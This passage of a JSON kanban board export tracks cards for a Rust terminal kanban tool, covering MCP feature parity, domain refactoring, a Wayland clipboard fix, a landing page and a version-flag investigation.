same pattern incrementally",
        "due_date": null,
        "id": "2e8e1467-9f5a-4a8d-9739-80b849a2c231",
        "points": 4,
        "position": 103,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856394290Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Unify keybinding dispatch with registry",
        "updated_at": "2026-04-04T23:44:59.167261224Z"
      },
      {
        "card_number": 193,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-02-02T19:22:55.402436Z",
        "created_at": "2026-02-01T13:15:33.764052Z",
        "description": "## Problem\n\nThe three interfaces (TUI, CLI, MCP) are not at feature parity. `KanbanOperations` trait in `kanban-domain` enforces compile-time parity between TUI (`TuiContext`) and CLI (`CliContext`) — 36 methods. But the MCP server has a separate `McpTools` trait with only 14 methods, delegates to CLI subprocesses, and has no compile-time enforcement.\n\n## Current State\n\n- `KanbanOperations` (36 methods) in `crates/kanban-domain/src/operations.rs:19-84`\n- `CliContext` implements it at `crates/kanban-cli/src/context.rs:172`\n- `TuiContext` implements it at `crates/kanban-tui/src/tui_context.rs:92`\n- MCP has separate `McpTools` trait (14 methods) at `crates/kanban-mcp/src/tools_trait.rs`\n- MCP spawns CLI subprocesses via `CliExecutor` at `crates/kanban-mcp/src/executor.rs`\n- MCP crate has **zero dependency** on `kanban-domain`, `kanban-core`, or `kanban-persistence`\n\n## Desired End State\n\n- MCP implements all 36 `KanbanOperations` methods as MCP tools\n- MCP depends on `kanban-domain`, `kanban-core`, `kanban-persistence` directly\n- `McpTools` trait and `CliExecutor` are deleted\n- `McpContext` struct implements `KanbanOperations` (same pattern as `CliContext`)\n- Adding a method to `KanbanOperations` causes a compile error in MCP until wired up\n- No subprocess spawning, no CLI arg building, no retry logic\n\n## Missing from MCP (22 operations)\n\n**Board**: update_board\n**Column**: get_column, update_column, reorder_column\n**Card**: restore_card, list_archived_cards, assign_card_to_sprint, unassign_card_from_sprint, get_card_branch_name, get_card_git_checkout, bulk_archive_cards, bulk_move_cards, bulk_assign_sprint\n**Sprint** (all 8): create, list, get, update, activate, complete, cancel, delete\n**Import/Export**: export_board, import_board\n\n## Implementation Plan\n\n### Phase 1: Add Dependencies and Create McpContext\n\n1. **Update `crates/kanban-mcp/Cargo.toml`** — add `kanban-core`, `kanban-domain`, `kanban-persistence`, `uuid` as dependencies\n\n2. **Create `crates/kanban-mcp/src/context.rs`** — `McpContext` struct following `CliContext` pattern:\n   - Same fields: `boards`, `columns`, `cards`, `sprints`, `archived_cards`, `graph`, `store`\n   - Same `load()` async constructor via `JsonFileStore`\n   - Same `execute()` method using `CommandContext`\n   - Same `save()` async method\n   - `impl KanbanOperations for McpContext` (copy from `CliContext`)\n   - Local `DataSnapshot` struct (same as CLI's — simple 6-field serialize/deserialize)\n\n**Key design**: `KanbanOperations` uses `&mut self`, MCP tools receive `&self`. Solution: `Arc<tokio::sync::Mutex<McpContext>>`\n\n**Verify**: `cargo build --package kanban-mcp`\n\n### Phase 2: Replace Subprocess Delegation\n\n1. **Update `KanbanMcpServer`** — replace `executor: Arc<CliExecutor>` with `ctx: Arc<tokio::sync::Mutex<McpContext>>`\n\n2. **Update `main.rs`** — `KanbanMcpServer::new()` becomes async (loads data at startup)\n\n3. **Add helpers**:\n   - `parse_uuid(s: &str) -> Result<Uuid, McpError>` for String→Uuid conversion\n   - `to_mcp_error(e: impl Display) -> McpError` to reduce boilerplate\n   - `list_result<T: Serialize>(items: Vec<T>) -> CallToolResult` for consistent list responses\n\n4. **Rewrite existing 14 tool implementations** — each tool: lock mutex → call trait method → save on writes → serialize result\n\n   Read pattern:\n   ```rust\n   async fn tool_list_boards(&self) -> Result<CallToolResult, McpError> {\n       let ctx = self.ctx.lock().await;\n       let boards = ctx.list_boards().map_err(to_mcp_error)?;\n       Ok(list_result(boards))\n   }\n   ```\n   Write pattern:\n   ```rust\n   async fn tool_create_board(&self, Parameters(req): Parameters<CreateBoardRequest>) -> Result<CallToolResult, McpError> {\n       let mut ctx = self.ctx.lock().await;\n       let board = ctx.create_board(req.name, req.card_prefix).map_err(to_mcp_error)?;\n       ctx.save().await.map_err(to_mcp_error)?;\n       Ok(json_result(serde_json::to_value(&board).unwrap()))\n   }\n   ```\n\n5. **Delete dead code**:\n   - Delete `crates/kanban-mcp/src/executor.rs`\n   - Delete `crates/kanban-mcp/src/tools_trait.rs`\n   - Remove `mod executor`, `mod tools_trait`, all `use` of deleted types from `lib.rs`\n\n**Verify**: `cargo build --package kanban-mcp`, existing 14 tools still work\n\n### Phase 3: Add Missing 22 MCP Tools\n\nAdd request types + `#[tool]` wrappers for all missing operations:\n\n**Board** (1 tool):\n- `tool_update_board` — \"Update a board's properties (name, description, prefixes)\"\n\n**Column** (3 tools):\n- `tool_get_column` — \"Get a specific column by ID\"\n- `tool_update_column` — \"Update a column's properties (name, position, WIP limit)\"\n- `tool_reorder_column` — \"Move a column to a new position\"\n\n**Card** (10 tools):\n- `tool_restore_card` — \"Restore an archived card\"\n- `tool_list_archived_cards` — \"List all archived cards\"\n- `tool_assign_card_to_sprint` — \"Assign a card to a sprint\"\n- `tool_unassign_card_from_sprint` — \"Remove a card's sprint assignment\"\n- `tool_get_card_branch_name` — \"Get git branch name for a card\"\n- `tool_get_card_git_checkout` — \"Get git checkout command for a card\"\n- `tool_bulk_archive_cards` — \"Archive multiple cards\"\n- `tool_bulk_move_cards` — \"Move multiple cards to a column\"\n- `tool_bulk_assign_sprint` — \"Assign multiple cards to a sprint\"\n\n**Sprint** (8 tools):\n- `tool_create_sprint` — \"Create a new sprint\"\n- `tool_list_sprints` — \"List all sprints for a board\"\n- `tool_get_sprint` — \"Get a specific sprint by ID\"\n- `tool_update_sprint` — \"Update sprint properties\"\n- `tool_activate_sprint` — \"Activate a sprint\"\n- `tool_complete_sprint` — \"Complete an active sprint\"\n- `tool_cancel_sprint` — \"Cancel an active sprint\"\n- `tool_delete_sprint` — \"Delete a sprint\"\n\n**Import/Export** (2 tools):\n- `tool_export_board` — \"Export board data as JSON\"\n- `tool_import_board` — \"Import board data from JSON\"\n\nAlso update `ListCardsRequest` to add `status` filter parameter.\n\n**Verify**: `cargo build`, `cargo clippy`, all 36 tools listed when connecting\n\n### Phase 4: Verification\n\n- `cargo build` (full workspace)\n- `cargo clippy --package kanban-mcp`\n- `cargo test`\n- Connect via `.mcp.json`, verify all 36 tools appear\n- Test sprint CRUD, card archive/restore, bulk ops, export/import through MCP\n\n## What We're NOT Doing\n\n- NOT extracting shared base context crate (MCP context will duplicate CliContext pattern — acceptable)\n- NOT changing `KanbanOperations` trait itself\n- NOT adding undo/redo to MCP (TUI-specific)\n- NOT changing `.mcp.json` config or CLI binary interface\n- NOT adding new operations beyond existing 36\n\n## References\n\n- `crates/kanban-domain/src/operations.rs:19-84` — KanbanOperations trait\n- `crates/kanban-cli/src/context.rs:39-683` — CliContext (model for McpContext)\n- `crates/kanban-tui/src/tui_context.rs:17-569` — TuiContext (reference)\n- `crates/kanban-mcp/src/lib.rs` — current MCP server\n- `crates/kanban-mcp/src/executor.rs` — CliExecutor (to delete)\n- `crates/kanban-mcp/src/tools_trait.rs` — McpTools (to delete)",
        "due_date": null,
        "id": "da146ab1-37dc-49a4-9ad5-531fe67a07b0",
        "points": 4,
        "position": 103,
        "priority": "High",
        "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T13:46:41.474405Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-02-01T13:32:57.901233Z",
            "status": "Completed"
          },
          {
            "ended_at": null,
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T13:46:41.474410Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Bring MCP to full feature parity with CLI/TUI via KanbanOperations trait",
        "updated_at": "2026-02-02T19:22:55.402436Z"
      },
      {
        "card_number": 178,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-02-02T19:22:59.769305Z",
        "created_at": "2026-01-29T13:14:49.316081Z",
        "description": "## Overview\n\nExtract business logic from `kanban-tui` to `kanban-domain` and `kanban-core` crates for reuse by other consumers (API server, CLI).\n\n## Why This Migration?\n\nThe TUI crate contained business logic (filtering, sorting, searching, export/import) that should be reusable by:\n- Future API server\n- CLI tools\n- Other UI implementations\n\nBy moving this logic to domain/core, we follow proper layered architecture and enable code reuse.\n\n---\n\n## Files Changed\n\n### New Domain Files (`kanban-domain`)\n\n**`crates/kanban-domain/src/search/mod.rs`** (NEW)\n- `CardSearcher` trait - abstraction for searching cards\n- `TitleSearcher` - searches card titles (case-insensitive)\n- `BranchNameSearcher` - searches sprint branch names\n- `CompositeSearcher` - combines title + branch name search\n\n**`crates/kanban-domain/src/query/mod.rs`** (NEW)\n- `CardFilterOptions` - struct grouping filter parameters (sprint_filter, hide_assigned, search_query)\n- `filter_and_sort_cards()` - filter cards for a board view\n- `filter_and_sort_cards_by_column()` - filter cards for a specific column\n- `CardQueryBuilder` - fluent API for building card queries\n\n**`crates/kanban-domain/src/export/mod.rs`** (NEW)\n- Re-exports BoardExporter, BoardImporter, models\n\n**`crates/kanban-domain/src/export/exporter.rs`** (NEW)\n- `BoardExporter` - exports boards to JSON format\n- Handles single board and all-boards export\n\n**`crates/kanban-domain/src/export/importer.rs`** (NEW)\n- `BoardImporter` - imports boards from JSON\n- Supports V1 (legacy) and V2 format detection\n- `ImportedEntities` - returned struct with imported data\n\n**`crates/kanban-domain/src/export/models.rs`** (NEW)\n- `BoardExport` - DTO for single board export\n- `AllBoardsExport` - DTO for multi-board export\n\n**`crates/kanban-domain/src/lib.rs`** (MODIFIED)\n- Added module declarations: search, query, export\n- Added public exports for all new types\n\n---\n\n### New Core Files (`kanban-core`)\n\n**`crates/kanban-core/src/pagination.rs`** (NEW - previous commits)\n- `Page` - tracks scroll position and total items\n- `PageInfo` - viewport info with visible_indices, items_above, items_below\n- Used for virtual list rendering in any UI\n\n**`crates/kanban-core/src/selection.rs`** (NEW - previous commits)\n- `SelectionState` - single-item selection state machine\n- Navigation helpers: next, prev, jump_to, clear\n\n---\n\n### TUI Files Changed\n\n**`crates/kanban-tui/src/search.rs`** (MODIFIED)\n- Now re-exports `CardSearcher`, `TitleSearcher`, `BranchNameSearcher`, `CompositeSearcher` from domain\n- Keeps `SearchState` in TUI (depends on TUI's InputState)\n\n**`crates/kanban-tui/src/export/mod.rs`** (MODIFIED)\n- Now re-exports everything from `kanban_domain::export`\n\n**`crates/kanban-tui/src/export/exporter.rs`** (DELETED)\n- Moved to domain\n\n**`crates/kanban-tui/src/export/importer.rs`** (DELETED)\n- Moved to domain\n\n**`crates/kanban-tui/src/export/models.rs`** (DELETED)\n- Moved to domain\n\n**`crates/kanban-tui/src/services/filter.rs`** (MODIFIED)\n- Re-exports filter types from domain\n\n**`crates/kanban-tui/src/services/sort.rs`** (MODIFIED)\n- Re-exports sort types from domain\n\n**`crates/kanban-tui/src/state/snapshot.rs`** (MODIFIED)\n- Uses `kanban_domain::Snapshot` as base type\n- Adds `SnapshotExt` trait for TUI-specific methods (`to_json_bytes`, `from_json_bytes`)\n- Type alias: `DataSnapshot = Snapshot`\n\n**`crates/kanban-tui/src/state/history.rs`** (MODIFIED)\n- Re-exports `HistoryManager` from domain\n\n**`crates/kanban-tui/src/state/mod.rs`** (MODIFIED)\n- Updated exports to include `SnapshotExt`\n\n**`crates/kanban-tui/src/selection.rs`** (MODIFIED)\n- Re-exports `SelectionState` from kanban_core\n\n**`crates/kanban-tui/src/components/page.rs`** (MODIFIED)\n- Re-exports `Page`, `PageInfo` from kanban_core\n\n**`crates/kanban-tui/src/card_list.rs`** (MODIFIED)\n- Updated field names: `visible_indices`, `items_above`, `items_below`\n\n**`crates/kanban-tui/src/components/generic_list.rs`** (MODIFIED)\n- Updated to use `scroll_to_visible` method name\n- Updated field references for PageInfo\n\n**`crates/kanban-tui/src/components/relationship_section.rs`** (MODIFIED)\n- Updated field references for PageInfo\n\n**`crates/kanban-tui/src/app.rs`** (MODIFIED)\n- Added `use crate::state::SnapshotExt` import\n\n**`crates/kanban-tui/src/handlers/detail_view_handlers.rs`** (MODIFIED)\n- Added `SnapshotExt` import for serialization\n\n**`crates/kanban-tui/src/handlers/popup_handlers.rs`** (MODIFIED)\n- Added `SnapshotExt` import for serialization\n\n**`crates/kanban-tui/tests/conflict_detection_tests.rs`** (MODIFIED)\n- Added `SnapshotExt` import for test serialization\n\n---\n\n### Domain Clippy Fixes\n\n**`crates/kanban-domain/src/filter/card_filter.rs`** (MODIFIED)\n- Changed `map_or(false, ...)` to `is_some_and(...)` per clippy\n\n**`crates/kanban-domain/src/sort/mod.rs`** (MODIFIED)\n- Changed `&mut Vec<Card>` to `&mut [Card]` per clippy\n\n---\n\n## Status\n- 15 commits on develop branch\n- Build: ✓ `cargo build --workspace`\n- Tests: ✓ `cargo test --workspace`\n- Clippy: ✓ `cargo clippy --all-targets --all-features -- -D warnings`\n\n## Pending\n- Smoke test manual verification\n- Push to origin",
        "due_date": null,
        "id": "b859d609-9b17-46fc-9ffd-6f7778c398d7",
        "points": 4,
        "position": 104,
        "priority": "High",
        "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T13:46:44.070948Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-02-01T13:32:49.831521Z",
            "status": "Completed"
          },
          {
            "ended_at": null,
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T13:46:44.070949Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "TUI-to-Domain Refactoring Migration",
        "updated_at": "2026-02-02T19:22:59.769305Z"
      },
      {
        "card_number": 208,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-02-17T22:28:04.426955436Z",
        "created_at": "2026-02-17T22:18:09.713698203Z",
        "description": "Fixed clipboard operations on Linux/Wayland for `y`/`Y` copy commands.\n\n**Changes:**\n- `crates/kanban-tui/Cargo.toml`: Enable `wayland-data-control` feature for arboard\n- `crates/kanban-tui/src/clipboard.rs`: Use `SetExtLinux::wait_until()` to give clipboard managers time to take ownership\n- `crates/kanban-tui/src/components/banner.rs`: New reusable Banner component with Error/Success variants\n- `crates/kanban-tui/src/app.rs`: Replace `last_error`/`toast` with unified `banner` field, add `set_success()` method\n- `crates/kanban-tui/src/ui.rs`: Use new Banner component for rendering\n- `default.nix`: Add `nativeBuildInputs` (pkg-config) and `buildInputs` (wayland, libxcb) for Linux builds\n- `shell.nix`: Add clipboard dev dependencies (wayland, libxcb, wl-clipboard, xclip)\n- `README.md`: Document that Linux users need a clipboard manager for persistence\n\n**Features:**\n- Green \"Copied branch name\" / \"Copied command\" toast on successful copy\n- Red error banner on failure\n- Auto-dismiss after 3 seconds or on any keypress\n\n**Note:** On Linux, clipboard content is owned by the running process. Without a clipboard manager (wl-clip-persist, cliphist, clipman, etc.), content is lost when the app exits. This is a platform limitation.\n",
        "due_date": null,
        "id": "57fbe081-3544-4674-8a3a-9fa0f26b33ab",
        "points": 2,
        "position": 105,
        "priority": "Medium",
        "sprint_id": "c2712055-8490-43fd-be83-5331c49f6c75",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "c2712055-8490-43fd-be83-5331c49f6c75",
            "sprint_name": "fresh-air",
            "sprint_number": 12,
            "started_at": "2026-02-17T22:19:48.861906338Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Fix Shift+Y branch copy crash on Linux/NixOS Wayland",
        "updated_at": "2026-02-17T22:28:14.638486382Z"
      },
      {
        "card_number": 279,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-03T22:18:20.737115496Z",
        "description": "config.rs is ~1000 lines. Split AppConfigDto, validate_branch_prefix, and tests into separate files to stay within the 300-line guideline.",
        "due_date": null,
        "id": "62cb2d6a-b8d5-4980-a0a0-2d929380480b",
        "points": 2,
        "position": 105,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856406269Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Split config.rs into smaller modules",
        "updated_at": "2026-04-04T23:44:59.281795149Z"
      },
      {
        "card_number": 209,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-02-18T17:44:25.361826125Z",
        "created_at": "2026-02-17T22:21:06.155406152Z",
        "description": "Selecting cards with `v`, one at a time is tedious and slow. lets make it faster!\n\n`v` to toggle selection perhaps\n",
        "due_date": null,
        "id": "cbb4424f-8adb-4f4e-aa09-a4762f9fb6eb",
        "points": null,
        "position": 106,
        "priority": "Medium",
        "sprint_id": "c2712055-8490-43fd-be83-5331c49f6c75",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "c2712055-8490-43fd-be83-5331c49f6c75",
            "sprint_name": "fresh-air",
            "sprint_number": 12,
            "started_at": "2026-02-17T22:21:48.170910988Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Multi select cards",
        "updated_at": "2026-02-18T17:44:25.361826341Z"
      },
      {
        "card_number": 280,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-03T22:19:02.597703105Z",
        "description": "SettingsViewProvider pushes 'e/Enter' inside Configuration match arm AND unconditionally pushes another 'e' at the bottom. 'e' appears twice in keybinding context for Configuration focus.",
        "due_date": null,
        "id": "c99e2784-db4a-49df-8ceb-382609bf74ab",
        "points": 1,
        "position": 106,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856424543Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix duplicate 'e' keybinding in settings provider",
        "updated_at": "2026-04-04T23:44:59.314370892Z"
      },
      {
        "card_number": 281,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-03T22:19:02.609574598Z",
        "description": "apply_to only applies storage_backend when Some, but other fields are applied unconditionally (replacing with None). Users cannot 'unset' a storage backend via the editor. Make behavior consistent across all fields.",
        "due_date": null,
        "id": "62b0fbea-b76f-4a9e-a034-596f9acb118b",
        "points": 2,
        "position": 107,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856503703Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Make storage_backend unset behavior consistent in AppConfigDto::apply_to",
        "updated_at": "2026-04-04T23:44:59.360635333Z"
      },
      {
        "card_number": 210,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-17T00:25:35.757864310Z",
        "created_at": "2026-03-16T00:10:40.280418149Z",
        "description": "## Implementation\n\nWires the existing CardIdentifierSearcher (from KAN-197) through to MCP tools, CLI commands, and the KanbanOperations trait so that 'KAN-5', 'kan-5', or '5' can be used anywhere a card UUID is currently required.\n\n## Changes\n\n### kanban-domain: KanbanOperations trait\n- Added `find_card_by_identifier(&self, identifier: &str) -> KanbanResult<Option<Card>>` to the trait\n\n### kanban-cli / kanban-tui / kanban-mcp: Context implementations\n- CliContext and TuiContext: implemented via CardIdentifierSearcher::new + matches()\n- McpContext: delegates to `card find-by-identifier <identifier>` CLI subcommand\n\n### kanban-cli: CLI changes\n- Changed `id: Uuid` -> `id: String` in all single-card CardAction variants (Get, Update, Move, Archive, Restore, Delete, AssignSprint, UnassignSprint, BranchName, GitCheckout)\n- Added `FindByIdentifier { identifier: String }` subcommand (`card find-by-identifier`)\n- Added `resolve_card_id` helper: tries Uuid::parse_str, falls back to find_card_by_identifier\n\n### kanban-mcp: MCP tool changes\n- Added async `resolve_card_id` helper (UUID parse -> spawn_blocking find_card_by_identifier)\n- Replaced parse_uuid(&req.card_id) with resolve_card_id(&self.ctx, &req.card_id).await? in all 10 card tools: get, update, move, archive, restore, delete, assign_sprint, unassign_sprint, branch_name, git_checkout\n- Updated schemars descriptions for all card_id fields to mention identifier support\n\n## Commits\n- feat(domain): add find_card_by_identifier to KanbanOperations trait\n- feat(cli,tui,mcp): implement find_card_by_identifier in all contexts\n- feat(cli): accept card identifier (e.g. KAN-5) in all card commands\n- feat(mcp): resolve card identifier (e.g. KAN-5) in all card tools",
        "due_date": null,
        "id": "42c5d500-3c35-4197-a9ed-63dbff43f991",
        "points": null,
        "position": 107,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Find cards by prefix+increment identifier (e.g. KAN-5)",
        "updated_at": "2026-03-17T00:25:35.757864536Z"
      },
      {
        "card_number": 208,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-17T00:25:38.583577859Z",
        "created_at": "2026-02-21T11:47:26.405502Z",
        "description": "# Create and Deploy Kanban Project Landing Page\n\n## Summary\nDesigned and implemented a landing page for the kanban terminal-based project management tool at kanban.yoon.se. The page showcases the   \nproject's capabilities, features, and installation methods using a terminal-inspired design that matches the yoon.se design system.       \n\n## What Was Done\n\n### 1. Landing Page Design & Content\n- Created semantic HTML5 structure with 5 main sections:\n  - **Hero**: Project title, tagline, demo GIF, installation CTAs (cargo + nix)\n  - **Features**: 6 feature cards highlighting vim-like power, speed, three interfaces, task management, developer workflow, and local-first approach\n  - **Installation**: Three installation methods (crates.io, nix, from source) with quick start guide\n  - **Roadmap**: v0.2.0 status with completed/in-progress/planned items\n  - **Footer**: Links to GitHub, Crates.io, docs, and author/license info\n\n### 2. Design System Integration\n- Matched yoon.se terminal-inspired dark theme:\n  - Colors: GitHub Dark (#0d1117 bg, #c9714a accent)\n  - Typography: SF Mono for headings, system sans for body\n  - Spacing: 8-point grid system\n  - No border-radius (sharp terminal aesthetic)\n- Terminal-style components:\n  - `$ ` prefix for install commands in accent color\n  - `> ` prefix for links (yoon design pattern)\n  - Monospace headings and code blocks\n- Fully responsive: desktop (3-col), tablet (2-col), mobile (1-col)\n\n### 3. Static Site Implementation\n- **index.html**: 158 lines, semantic HTML with proper meta tags\n- **styles.css**: 576 lines, complete design system with CSS variables and responsive layout\n- **demo.gif**: 997KB animated TUI demo (copied from project root)\n- No external dependencies, fast loading, SEO-friendly\n\n### 4. Nix Build Integration\n- Created `web/default.nix` for reproducible builds\n- Added `kanban-web` package to main `flake.nix`\n- Build command: `nix build .#kanban-web`\n- Output: Static files ready for deployment\n\n## Files Created\n- `/Users/max/memes/kanban/web/index.html`\n- `/Users/max/memes/kanban/web/styles.css`\n- `/Users/max/memes/kanban/web/demo.gif`\n- `/Users/max/memes/kanban/web/default.nix`\n\n## Deployment\nReady for deployment to kanban.yoon.se:\n\n```bash\nnix build .#kanban-web\ncp -r result/* /var/www/kanban.yoon.se/\n```\n\nSuccess Criteria\n\n✅ Landing page matches yoon.se design system (dark theme, terminal aesthetic)\n✅ All 5 content sections implemented with accurate project information\n✅ Responsive design works across desktop, tablet, and mobile\n✅ Demo GIF displays correctly and animates\n✅ Installation commands (cargo + nix) clearly presented\n✅ Nix build support added for reproducible deployment\n✅ Fast loading with minimal file size (20KB HTML+CSS)\n✅ SEO-optimized with proper meta tags and semantic HTML\n✅ Follows yoon BRAND_GUIDE principles (direct, humble, technical, authentic)\n✅ Files committed to git with proper commit message\n\nThis captures the full scope of work completed for the landing page project!\n",
        "due_date": null,
        "id": "4a2eb647-acbf-40f0-a03f-4c874e0d1c09",
        "points": 3,
        "position": 108,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "create a landing page for the project",
        "updated_at": "2026-03-17T00:25:38.583578091Z"
      },
      {
        "card_number": 282,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-03T22:19:02.621278073Z",
        "description": "effective_storage_location uses current_dir() which is fragile — if CWD changes between calls, relative paths resolve differently. Resolve once at load time and store the absolute path.",
        "due_date": null,
        "id": "4a169b73-b721-40c0-86fb-6f8b9fdc377f",
        "points": 2,
        "position": 108,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856442760Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Resolve effective_storage_location at load time",
        "updated_at": "2026-04-04T23:44:59.401748374Z"
      },
      {
        "card_number": 215,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-03-17T00:34:23.120947Z",
        "created_at": "2026-03-17T00:25:10.598013819Z",
        "description": "---\n  Investigation: -V flag shows commit: unknown in release builds\n\n  Root Cause\n\n  The version string is constructed at compile time in crates/kanban-cli/src/cli.rs:4-8:\n\n  const VERSION: &str = concat!(\n      env!(\"CARGO_PKG_VERSION\"),\n      \"\\ncommit: \",\n      env!(\"GIT_COMMIT_HASH\")\n  );\n\n  The commit hash is resolved in crates/kanban-cli/build.rs:8-27 with this priority:\n\n  1. GIT_COMMIT_HASH env var (if set and not empty / not \"unknown\")\n  2. git rev-parse HEAD — works when .git is present\n  3. Falls back to \"unknown\"\n\n  Why It Fails in Release / Nix Builds\n\n  default.nix:14 uses lib.cleanSource ./. which strips the .git directory before building — standard Nix practice for reproducible builds. Without .git, step 2 fails and the fallback fires.\n\n  Neither the Nix derivation (default.nix, flake.nix), the dev shell (shell.nix), nor the CI workflows (ci.yml, release.yml) set GIT_COMMIT_HASH as an env var at build time.\n\n  Why cargo run -- -V Works\n\n  Running directly from the repo means .git exists on disk, so git rev-parse HEAD succeeds in the build script.\n\n  Proposed Fix\n\n  Two separate concerns:\n\n  1. Drop commit line when unknown — Change the version string construction so commit: unknown is never shown. This requires either:\n  - A build-time cfg flag (not possible with env! alone)\n  - Splitting the version into base + optional suffix evaluated at runtime via clap's .version() method with a String rather than a compile-time &str\n\n  2. Inject hash during Nix/release builds — In default.nix, pass the commit rev as an env var before the build:\n  preBuild = ''\n    export GIT_COMMIT_HASH=\"${self.rev or \"unknown\"}\"\n  '';\n  self.rev is available in flake context when the working tree is clean and committed. The or \"unknown\" handles dirty trees gracefully.\n\n  Files Involved\n\n  ┌───────────────────────────────────┬────────────────────────────────────────────┐\n  │               File                │                 Relevance                  │\n  ├───────────────────────────────────┼────────────────────────────────────────────┤\n  │ crates/kanban-cli/src/cli.rs:4-13 │ Version string constant + clap wiring      │\n  ├───────────────────────────────────┼────────────────────────────────────────────┤\n  │ crates/kanban-cli/build.rs:1-28   │ Build script that resolves GIT_COMMIT_HASH │\n  ├───────────────────────────────────┼────────────────────────────────────────────┤\n  │ default.nix:14                    │ lib.cleanSource strips .git                │\n  ├───────────────────────────────────┼────────────────────────────────────────────┤\n  │ flake.nix                         │ Has access to self.rev for injecting hash  │\n  ├───────────────────────────────────┼────────────────────────────────────────────┤\n  │ .github/workflows/release.yml     │ Does not set GIT_COMMIT_HASH               │\n  └───────────────────────────────────┴────────────────────────────────────────────┘\n\n  Acceptance Criteria\n\n  - kanban -V on a release/Nix build shows only the semver (e.g. 0.2.0), no commit: line\n  - kanban -V on a dev build (cargo run) still shows the commit hash\n  - kanban -V on a Nix build from a clean committed tree shows the correct short commit hash\n  - No commit: unknown output in any scenario\n",
        "due_date": null,
        "id": "365980c0-14ec-4b38-aab6-5ac27e93d01a",
        "points": null,
        "position": 109,
        "priority": "Low",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "version flag",
        "updated_at": "2026-03-17T00:34:23.120947264Z"
      },
      {
        "card_number": 283,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-03T22:19:02.633075051Z",
        "description": "In settings_handlers.rs, after saving to a new config location, the old file is deleted with let _ = std::fs::remove_file(old_path). The error is silently swallowed — at minimum log a warning if deletion fails.",
        "due_date": null,
        "id": "15d39455-d7fc-4d05-bcb8-1848e25d7f44",
        "points": 1,
        "position": 109,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
